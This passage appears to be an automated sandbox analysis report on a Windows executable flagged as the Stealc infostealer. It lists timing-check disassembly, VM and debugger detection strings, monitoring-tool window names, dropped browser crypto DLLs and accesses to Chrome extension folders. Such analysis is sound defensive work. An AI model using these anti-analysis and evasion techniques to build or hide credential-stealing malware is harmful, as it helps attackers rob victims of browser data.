Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01B2 second address: 4EC01B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01B8 second address: 4EC01BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01BE second address: 4EC01C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01C2 second address: 4EC021B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47640h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e mov bx, ax 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F60C0F4763Fh 0x00000019 and eax, 68B70FCEh 0x0000001f jmp 00007F60C0F47649h 0x00000024 popfd 0x00000025 push eax 0x00000026 pop ebx 0x00000027 popad 0x00000028 popad 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC021B second address: 4EC021F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC021F second address: 4EC0225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0225 second address: 4EC022B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC022B second address: 4EC022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02B1 second address: 4EC02B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02B5 second address: 4EC02BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02BB second address: 4EC02CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02CA second address: 4EC02CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02CE second address: 4EC0305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F60C078F3E4h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 call 00007F60C078F3DAh 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0305 second address: 4EC030E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 4EA5h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC030E second address: 4EC0314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0314 second address: 4EC0324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0324 second address: 4EC0328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0328 second address: 4EC033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC033A second address: 4EC0362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60C078F3E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0362 second address: 4EC03C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C0F47647h 0x00000009 or ch, FFFFFF8Eh 0x0000000c jmp 00007F60C0F47649h 0x00000011 popfd 0x00000012 call 00007F60C0F47640h 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push dword ptr [ebp+1Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F60C0F47643h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03C8 second address: 4EC03E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03E5 second address: 4EC0427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47641h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+18h] 0x0000000c jmp 00007F60C0F4763Eh 0x00000011 push dword ptr [ebp+14h] 0x00000014 jmp 00007F60C0F47640h 0x00000019 push dword ptr [ebp+10h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ah, ECh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0427 second address: 4EC0446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0446 second address: 4EC044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC044A second address: 4EC0467 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0467 second address: 4EC0493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, E1h 0x00000005 mov di, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F60C0F47647h 0x00000016 mov di, cx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA071E second address: 4EA0724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0724 second address: 4EA0729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0729 second address: 4EA073A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA073A second address: 4EA0740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0740 second address: 4EA074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA074E second address: 4EA0752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07EB second address: 4EA085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F61306E2BD2h 0x00000010 push 74DF27D0h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [74E80140h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 jmp 00007F60C078F3DBh 0x0000005a and dword ptr [ebp-04h], 00000000h 0x0000005e jmp 00007F60C078F3E6h 0x00000063 mov edx, dword ptr [ebp+0Ch] 0x00000066 jmp 00007F60C078F3E0h 0x0000006b mov esi, edx 0x0000006d jmp 00007F60C078F3E0h 0x00000072 mov al, byte ptr [edx] 0x00000074 jmp 00007F60C078F3E0h 0x00000079 inc edx 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA085D second address: 4EA0882 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60C0F4763Ah 0x00000008 and esi, 065001E8h 0x0000000e jmp 00007F60C0F4763Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0882 second address: 4EA0886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0886 second address: 4EA085D instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test al, al 0x00000009 jmp 00007F60C0F4763Eh 0x0000000e jne 00007F60C0F475D8h 0x00000014 mov al, byte ptr [edx] 0x00000016 jmp 00007F60C0F47640h 0x0000001b inc edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA08BE second address: 4EA09A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov cx, 1F6Dh 0x00000011 popad 0x00000012 dec edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F60C078F3E2h 0x0000001a sbb ah, 00000038h 0x0000001d jmp 00007F60C078F3DBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F60C078F3E8h 0x00000029 sub ecx, 74E77E98h 0x0000002f jmp 00007F60C078F3DBh 0x00000034 popfd 0x00000035 popad 0x00000036 lea ebx, dword ptr [edi+01h] 0x00000039 jmp 00007F60C078F3E6h 0x0000003e mov al, byte ptr [edi+01h] 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007F60C078F3DEh 0x00000048 or cl, 00000028h 0x0000004b jmp 00007F60C078F3DBh 0x00000050 popfd 0x00000051 push eax 0x00000052 pushfd 0x00000053 jmp 00007F60C078F3DFh 0x00000058 adc esi, 42CC116Eh 0x0000005e jmp 00007F60C078F3E9h 0x00000063 popfd 0x00000064 pop eax 0x00000065 popad 0x00000066 inc edi 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F60C078F3DAh 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09A6 second address: 4EA09AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0AB8 second address: 4EA0B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007F60C078F3E0h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 pushad 0x00000018 mov cx, D93Dh 0x0000001c mov cx, CC39h 0x00000020 popad 0x00000021 mov eax, ebx 0x00000023 pushad 0x00000024 mov bx, si 0x00000027 pushfd 0x00000028 jmp 00007F60C078F3DEh 0x0000002d adc esi, 4E593A48h 0x00000033 jmp 00007F60C078F3DBh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ecx, dword ptr [ebp-10h] 0x0000003d jmp 00007F60C078F3E6h 0x00000042 mov dword ptr fs:[00000000h], ecx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F60C078F3DDh 0x00000052 or ah, 00000016h 0x00000055 jmp 00007F60C078F3E1h 0x0000005a popfd 0x0000005b movzx eax, dx 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B5D second address: 4EA0BCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007F60C0F47640h 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007F60C0F4763Eh 0x00000016 pushfd 0x00000017 jmp 00007F60C0F47642h 0x0000001c or eax, 0D3663C8h 0x00000022 jmp 00007F60C0F4763Bh 0x00000027 popfd 0x00000028 popad 0x00000029 pop esi 0x0000002a jmp 00007F60C0F47646h 0x0000002f pop ebx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BCD second address: 4EA0C08 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60C078F3E3h 0x00000008 add ax, 676Eh 0x0000000d jmp 00007F60C078F3E9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 mov ebx, ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C08 second address: 4EA0C17 instructions: 0x00000000 rdtsc 0x00000002 mov bx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C17 second address: 4EA0C1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C1B second address: 4EA0C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C21 second address: 4EA0C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E92 second address: 4EA0ECC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60C0F47648h 0x00000008 xor eax, 63B7FE78h 0x0000000e jmp 00007F60C0F4763Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov bx, ax 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0ECC second address: 4EA0ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0ED0 second address: 4EA0ED6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0ED6 second address: 4EA0F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C078F3DFh 0x00000009 or cl, FFFFFFEEh 0x0000000c jmp 00007F60C078F3E9h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F60C078F3E0h 0x00000018 and esi, 055B8A68h 0x0000001e jmp 00007F60C078F3DBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 movzx ecx, dx 0x0000002c mov eax, edi 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F60C078F3E9h 0x00000038 sub cx, 0B36h 0x0000003d jmp 00007F60C078F3E1h 0x00000042 popfd 0x00000043 push eax 0x00000044 push ebx 0x00000045 pop eax 0x00000046 pop edx 0x00000047 popad 0x00000048 pop ebp 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F60C078F3E5h 0x00000050 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 115DC20 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1307F64 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 115B18E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13955F4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6668

Thread sleep time: -32016s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2102863086.00000000012E9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2102863086.00000000012E9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2101784449.00000000009F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2102863086.00000000012E9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: _Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e70000.0.unpack, type: UNPACKEDPE
